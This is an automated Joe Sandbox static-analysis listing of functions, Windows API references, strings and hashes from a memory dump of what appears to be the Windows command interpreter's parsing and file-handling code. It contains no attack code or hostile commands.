EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,00000000,?,00007FF64B56F52A,00000000,00000000,?,00000000,?,00007FF64B56E626,?,?,00000000,00007FF64B571F69), ref: 00007FF64B56F8DE
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF64B571F69,?,?,?,?,?,?,?,00007FF64B56286E,00000000,00000000,00000000,00000000), ref: 00007FF64B56F8FB
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF64B571F69,?,?,?,?,?,?,?,00007FF64B56286E,00000000,00000000,00000000,00000000), ref: 00007FF64B56F951
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF64B571F69,?,?,?,?,?,?,?,00007FF64B56286E,00000000,00000000,00000000,00000000), ref: 00007FF64B56F96B
wcschr.MSVCRT ref: 00007FF64B56FA8E
_get_osfhandle.MSVCRT ref: 00007FF64B56FB14
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,00007FF64B571F69,?,?,?,?,?,?,?,00007FF64B56286E,00000000,00000000,00000000,00000000), ref: 00007FF64B56FB2D
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF64B571F69,?,?,?,?,?,?,?,00007FF64B56286E,00000000,00000000,00000000,00000000), ref: 00007FF64B56FBEA
_get_osfhandle.MSVCRT ref: 00007FF64B56F996

Part of subcall function 00007FF64B570010: SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,0000237B,00000000,00000002,0000000A,00000001,00007FF64B58849D,?,?,?,00007FF64B58F0C7), ref: 00007FF64B570045
Part of subcall function 00007FF64B570010: AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF64B58F0C7,?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF64B58E964), ref: 00007FF64B570071
Part of subcall function 00007FF64B570010: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B570092
Part of subcall function 00007FF64B570010: ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF64B5700A7
Part of subcall function 00007FF64B570010: MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF64B570181

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF64B571F69,?,?,?,?,?,?,?,00007FF64B56286E,00000000,00000000,00000000,00000000), ref: 00007FF64B57D401
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,00000000,00007FF64B571F69,?,?,?,?,?,?,?,00007FF64B56286E,00000000,00000000,00000000,00000000), ref: 00007FF64B57D41B
longjmp.MSVCRT(?,?,00000000,00007FF64B571F69,?,?,?,?,?,?,?,00007FF64B56286E,00000000,00000000,00000000,00000000), ref: 00007FF64B57D435
longjmp.MSVCRT(?,?,00000000,00007FF64B571F69,?,?,?,?,?,?,?,00007FF64B56286E,00000000,00000000,00000000,00000000), ref: 00007FF64B57D480

Strings

=,;, xrefs: 00007FF64B56F8C8

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CriticalSection$EnterFileLeave$LockPointerShared_get_osfhandlelongjmp$AcquireByteCharErrorLastMultiReadReleaseWidewcschr
String ID: =,;
API String ID: 3964947564-1539845467
Opcode ID: ac10f6592d03a1150df86db3bbd316513fcc4d2075019832c3c795bce2986d35
Instruction ID: 421f77af8a3c3a21ca19ad1f52935a35acb7f09422c5c15793e4559b239ac18e
Opcode Fuzzy Hash: ac10f6592d03a1150df86db3bbd316513fcc4d2075019832c3c795bce2986d35
Instruction Fuzzy Hash: 25024661A0DA42CAEA1CBF21E840278F6A1BF8DB54F549135D93ED62F6DF3DA401CB10

Function 00007FF64B5702A0 Relevance: 35.3, APIs: 13, Strings: 7, Instructions: 279COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF64B5702C2
_wcsicmp.MSVCRT ref: 00007FF64B5702E4
_wcsicmp.MSVCRT ref: 00007FF64B570306
_wcsicmp.MSVCRT ref: 00007FF64B570328
_wcsicmp.MSVCRT ref: 00007FF64B57034A
_wcsicmp.MSVCRT ref: 00007FF64B570368
_wcsicmp.MSVCRT ref: 00007FF64B576CF2
_wcsicmp.MSVCRT ref: 00007FF64B576D61
_wcsicmp.MSVCRT ref: 00007FF64B576D7F
_wcsicmp.MSVCRT ref: 00007FF64B576D9D
_wcsicmp.MSVCRT ref: 00007FF64B576DBB
iswspace.MSVCRT ref: 00007FF64B576E01
wcschr.MSVCRT ref: 00007FF64B576E2C

Strings

=,;, xrefs: 00007FF64B576E1C
FOR, xrefs: 00007FF64B5702BB
REM, xrefs: 00007FF64B570343
REM/?, xrefs: 00007FF64B570361
FOR/?, xrefs: 00007FF64B5702DD, 00007FF64B576CE9
;, xrefs: 00007FF64B5703FD
IF/?, xrefs: 00007FF64B570321

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: _wcsicmp$iswspacewcschr
String ID: ;$=,;$FOR$FOR/?$IF/?$REM$REM/?
API String ID: 840959033-3627297882
Opcode ID: a685c2dfbfb933869e1ee9a5fd26f57dd0ea790cc444f73fb6d6a268455a5bb9
Instruction ID: f4b2be1440e4a2e176c166eac6cca841f39d128a833dca5544816be94ce614fd
Opcode Fuzzy Hash: a685c2dfbfb933869e1ee9a5fd26f57dd0ea790cc444f73fb6d6a268455a5bb9
Instruction Fuzzy Hash: FAD16B61E0C643C6FB6CBF25E8152B9A6A1AF4CB44F449035DA2DC62B7DF7CE8458710

Function 00007FF64B56EF40 Relevance: 33.7, APIs: 16, Strings: 3, Instructions: 465COMMON

Download Yara Rule

APIs

iswspace.MSVCRT ref: 00007FF64B56F000
wcschr.MSVCRT ref: 00007FF64B56F031
iswdigit.MSVCRT ref: 00007FF64B56F0D6

Strings

=,;, xrefs: 00007FF64B56EF9D, 00007FF64B56F1CE, 00007FF64B56F342, 00007FF64B56F61A
()|&=,;", xrefs: 00007FF64B56F3EC, 00007FF64B56F6D0
Ungetting: '%s', xrefs: 00007FF64B57D0E1

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: iswdigitiswspacewcschr
String ID: ()|&=,;"$=,;$Ungetting: '%s'
API String ID: 1595556998-2755026540
Opcode ID: 78b794f6fc69934632e6eee377604cec53d1945fb932c7168ee33591e32c1865
Instruction ID: 504bfa70ac971cd2f40a3c916c3831cbd9298853d9427b2aaa16edaa6a76596a
Opcode Fuzzy Hash: 78b794f6fc69934632e6eee377604cec53d1945fb932c7168ee33591e32c1865
Instruction Fuzzy Hash: C1226BA5E0D75685FA6C7F25E884279F6A0BF0D790F40A132D9ADC62F6DF3CA4418B10

Function 00007FF64B57081C Relevance: 33.4, APIs: 12, Strings: 7, Instructions: 130COMMON

Download Yara Rule

APIs

GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B57084E
_wcsicmp.MSVCRT ref: 00007FF64B57088E
_wcsicmp.MSVCRT ref: 00007FF64B5708AC
_wcsicmp.MSVCRT ref: 00007FF64B5708CA
_wcsicmp.MSVCRT ref: 00007FF64B5708E8
_wcsicmp.MSVCRT ref: 00007FF64B570906
_wcsicmp.MSVCRT ref: 00007FF64B570924
_wcsicmp.MSVCRT ref: 00007FF64B57093E
_wcsicmp.MSVCRT ref: 00007FF64B57095C

Strings

HIGHESTNUMANODENUMBER, xrefs: 00007FF64B570952
TIME, xrefs: 00007FF64B57091A
RANDOM, xrefs: 00007FF64B570934
ERRORLEVEL, xrefs: 00007FF64B5708A2
DATE, xrefs: 00007FF64B5708FC
CMDEXTVERSION, xrefs: 00007FF64B5708C0
CMDCMDLINE, xrefs: 00007FF64B5708DE

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: _wcsicmp$EnvironmentVariable
String ID: CMDCMDLINE$CMDEXTVERSION$DATE$ERRORLEVEL$HIGHESTNUMANODENUMBER$RANDOM$TIME
API String ID: 198002717-2301591722
Opcode ID: 86cb16d536f244c24baf619aaa5ba530f3c61f8a6c087709382502a2cbb2fdc2
Instruction ID: f808de9d64bcffd8169ddeeebaee65ca474548aaa856adfab1ed2f799f13d13d
Opcode Fuzzy Hash: 86cb16d536f244c24baf619aaa5ba530f3c61f8a6c087709382502a2cbb2fdc2
Instruction Fuzzy Hash: 8B51ECA5B0C643C6E658BF65E810179EBA1EF4DB81F48A075CA2E836B6DF6CE444C740

Function 00007FF64B56D3F0 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 310memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D46E
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D485
wcschr.MSVCRT ref: 00007FF64B56D4EE
iswspace.MSVCRT ref: 00007FF64B56D54D
wcschr.MSVCRT ref: 00007FF64B56D569
wcschr.MSVCRT ref: 00007FF64B56D58C
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D5EE
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D605
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D61F
HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF64B56D633

Strings

", xrefs: 00007FF64B56D5AB
=,;, xrefs: 00007FF64B56D4D0

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$Processwcschr$Alloc$Sizeiswspace
String ID: "$=,;
API String ID: 3545743878-4143597401
Opcode ID: b3fa525c0aa7c573df7f7b2f39b769da54eaf45f3e5e9f5bf37a15d8f9aec30a
Instruction ID: c3fc958a915f324581675012c1bd4257988e8b7490f497a7f3ed3a9524743fda
Opcode Fuzzy Hash: b3fa525c0aa7c573df7f7b2f39b769da54eaf45f3e5e9f5bf37a15d8f9aec30a
Instruction Fuzzy Hash: 10C19C61A0DA5282EB6D7F11D000379F6A0FF5DB45F04A835CA6E827F6EF7CA445D200

Function 00007FF64B585BF4 Relevance: 26.4, APIs: 2, Strings: 13, Instructions: 153windowthreadCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00007FF64B585CD5
GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF64B585D54

Strings

(caller: %p) , xrefs: 00007FF64B585D3F
FailFast, xrefs: 00007FF64B585C85
, xrefs: 00007FF64B585DA7
%hs!%p: , xrefs: 00007FF64B585D1F
Msg:[%ws] , xrefs: 00007FF64B585DC2
%hs(%u)\%hs!%p: , xrefs: 00007FF64B585D01
ReturnHr, xrefs: 00007FF64B585C97
LogHr, xrefs: 00007FF64B585C8E
Exception, xrefs: 00007FF64B585CA0
[%hs], xrefs: 00007FF64B585E1D
%hs(%d) tid(%x) %08X %ws, xrefs: 00007FF64B585D6D
CallContext:[%hs] , xrefs: 00007FF64B585DDD
[%hs(%hs)], xrefs: 00007FF64B585E04

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CurrentFormatMessageThread
String ID: $%hs!%p: $%hs(%d) tid(%x) %08X %ws$%hs(%u)\%hs!%p: $(caller: %p) $CallContext:[%hs] $Exception$FailFast$LogHr$Msg:[%ws] $ReturnHr$[%hs(%hs)]$[%hs]
API String ID: 2411632146-3173542853
Opcode ID: fb2fb1c3bf230b004cc3ce09a0c69924bb125e2a6cca917ccdca682aa570422a
Instruction ID: 353ffd8731c63b0e481621a846066d8f4ea9beceb2fdf178cca84931b9696630
Opcode Fuzzy Hash: fb2fb1c3bf230b004cc3ce09a0c69924bb125e2a6cca917ccdca682aa570422a
Instruction Fuzzy Hash: 7C616BA1A2D782C1EA68FF51E4041A5A7A0FB4CB88F440536DE2D87776CF3CE6658B00

Function 00007FF64B5726E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 187fileCOMMON

Download Yara Rule

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B57277D
_open_osfhandle.MSVCRT ref: 00007FF64B57279E

Strings

con, xrefs: 00007FF64B5727EF

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CreateFile_open_osfhandle
String ID: con
API String ID: 2905481843-4257191772
Opcode ID: 3459eb2e79cd0d2b6a799ffdb85acc031fe8388b8b96825e157d57a9e1669ecc
Instruction ID: 6ba494bca276d72e9774ba4305e3f71ecdfb98036bcecbecf68fdd85987393aa
Opcode Fuzzy Hash: 3459eb2e79cd0d2b6a799ffdb85acc031fe8388b8b96825e157d57a9e1669ecc
Instruction Fuzzy Hash: B9717172B0C681CAE764BF14F440679FAA0FB8EB61F548234DA6E826B5DF7DD4458B00

Function 00007FF64B5893E8 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B5733A8: iswspace.MSVCRT ref: 00007FF64B5733C0

wcsrchr.MSVCRT ref: 00007FF64B589465

Part of subcall function 00007FF64B579158: RtlCaptureContext.NTDLL ref: 00007FF64B579163
Part of subcall function 00007FF64B579158: RtlLookupFunctionEntry.NTDLL ref: 00007FF64B579182
Part of subcall function 00007FF64B579158: RtlVirtualUnwind.NTDLL ref: 00007FF64B5791CF
Part of subcall function 00007FF64B579158: __raise_securityfailure.LIBCMT ref: 00007FF64B579245

wcschr.MSVCRT ref: 00007FF64B589486
wcsrchr.MSVCRT ref: 00007FF64B5894C1
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B5894E5
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF64B5894FC
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF64B589519
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B58952A
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF64B589541
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF64B58955E
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B589587
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF64B5895E1
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF64B5895FD

Strings

, xrefs: 00007FF64B5895BA

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: ConsoleMode$Handle$wcsrchr$CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailureiswspacewcschr
String ID:
API String ID: 3829876242-3916222277
Opcode ID: 10a5b567e72863909b04e51aaf43edd524101fd282eaa5692d28ef0ea38d911e
Instruction ID: 6f95ce807a5968700f4bdc64b71c199c9d12692151fd98ddc97fc598f9ba0539
Opcode Fuzzy Hash: 10a5b567e72863909b04e51aaf43edd524101fd282eaa5692d28ef0ea38d911e
Instruction Fuzzy Hash: 2B617D22A1C642C6EA18BF12D40417AB7A0FF8DB94F459134DA2E837A6DF3CE9058B00

Function 00007FF64B591A40 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B591AA6
memset.MSVCRT ref: 00007FF64B591ACC

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B591B3E
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B591B67
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B591BD7
_wcsicmp.MSVCRT ref: 00007FF64B591C05
_wcsicmp.MSVCRT ref: 00007FF64B591C34
_wcsicmp.MSVCRT ref: 00007FF64B591C63
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B591C89
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B591CA9

Strings

CSVFS, xrefs: 00007FF64B591C58
NTFS, xrefs: 00007FF64B591BFA
REFS, xrefs: 00007FF64B591C29

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: _wcsicmpmemset$Volume$DriveInformationNamePathType
String ID: CSVFS$NTFS$REFS
API String ID: 3510147486-2605508654
Opcode ID: 16da7e415156957614f2e65e2147701ecc6f9267ccedce46241fe4d5de2b202f
Instruction ID: c957023f31f3281c1313d8f512ccf751226a479105bf3a0297e010df963bfa69
Opcode Fuzzy Hash: 16da7e415156957614f2e65e2147701ecc6f9267ccedce46241fe4d5de2b202f
Instruction Fuzzy Hash: 0D616F72708BC2DAEB69AF21D8443E9B7A4FB49B84F449135CA1D8B769DF78D204C700

Function 00007FF64B5672B0 Relevance: 21.3, APIs: 1, Strings: 11, Instructions: 283COMMON

Download Yara Rule

APIs

longjmp.MSVCRT(?,00000000,00000000,00007FF64B567279,?,?,?,?,?,00007FF64B56BFA9), ref: 00007FF64B584485

Strings

LSS , xrefs: 00007FF64B584799
GEQ , xrefs: 00007FF64B5847C1
FOR, xrefs: 00007FF64B584535
REM /?, xrefs: 00007FF64B584678
EQU , xrefs: 00007FF64B58477D
GTR , xrefs: 00007FF64B5847B5
FOR /?, xrefs: 00007FF64B584654
IF /?, xrefs: 00007FF64B584664
== , xrefs: 00007FF64B584765
NEQ , xrefs: 00007FF64B58478B
LEQ , xrefs: 00007FF64B5847A7

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: longjmp
String ID: == $EQU $FOR$FOR /?$GEQ $GTR $IF /?$LEQ $LSS $NEQ $REM /?
API String ID: 1832741078-366822981
Opcode ID: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
Instruction ID: b2a814f1c05ce27a6c3bd5c7ee23b2435e739b361f6a4d5c7a09bcc8450fcfc2
Opcode Fuzzy Hash: 33da1405c176275929384e71d7b709e1d480dac8859b2aca32cf24daa89c1558
Instruction Fuzzy Hash: D0C17A60F1C642C1E62CFF1AE5946BCA791AB4EB84F905136DD2DD36B7CF2CA8568340

Function 00007FF64B56B998 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 275COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF64B56CD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF64B56B9A1,?,?,?,?,00007FF64B56D81A), ref: 00007FF64B56CDA6
Part of subcall function 00007FF64B56CD90: RtlAllocateHeap.NTDLL(?,?,?,00007FF64B56B9A1,?,?,?,?,00007FF64B56D81A), ref: 00007FF64B56CDBD

memset.MSVCRT ref: 00007FF64B56BA2B
wcschr.MSVCRT ref: 00007FF64B56BA8A
wcschr.MSVCRT ref: 00007FF64B56BAAA

Strings

=,;, xrefs: 00007FF64B56BC9C
=,;+/[] ", xrefs: 00007FF64B56BA83
:.\, xrefs: 00007FF64B56BAA3
-, xrefs: 00007FF64B57C3EA

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heapwcschr$AllocateProcessmemset
String ID: -$:.\$=,;$=,;+/[] "
API String ID: 2060774286-969133440
Opcode ID: 7b3217b0480b3f12f234bd17b6b4b81bb5ac0aea220cc5327607834eba670ac4
Instruction ID: e0db9839304129c6e3fd933131e4b5be3774ae694d2c61209a0e3586cc87fce8
Opcode Fuzzy Hash: 7b3217b0480b3f12f234bd17b6b4b81bb5ac0aea220cc5327607834eba670ac4
Instruction Fuzzy Hash: C2B18121A0DA8282FA68BF15D145279A7A0FF4CB80F556235CA6EC77F6DF7CE8458700

Function 00007FF64B5903AC Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 219COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B590411
memset.MSVCRT ref: 00007FF64B590436
memset.MSVCRT ref: 00007FF64B590459

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B590590
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B5905A0
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF64B5905BB
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B5906F3
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B590712
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B590731

Strings

~, xrefs: 00007FF64B59046D
%04X-%04X, xrefs: 00007FF64B590698

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memset$ErrorLast$InformationVolume
String ID: %04X-%04X$~
API String ID: 2748242238-2468825380
Opcode ID: 6140927c712726b5ce6b5c6052370d277af7610c6653376c5bf883b173b19ee6
